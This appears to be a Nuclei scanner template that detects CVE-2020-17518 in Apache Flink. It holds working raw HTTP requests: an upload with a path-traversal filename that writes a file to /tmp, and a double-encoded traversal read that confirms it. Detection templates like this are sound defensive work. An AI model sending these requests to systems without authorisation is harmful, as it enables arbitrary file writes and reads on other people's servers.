id: CVE-2020-17518 info: name: Apache Flink Upload Path Traversal author: pdteam severity: high description: | Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, through a maliciously modified HTTP HEADER. reference: - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2020-17518 cwe-id: CWE-22 tags: cve,cve2020,apache,lfi,flink,upload requests: - raw: - | POST /jars/upload HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc" test-poc ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- - method: GET path: - '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc' matchers: - type: dsl dsl: - 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.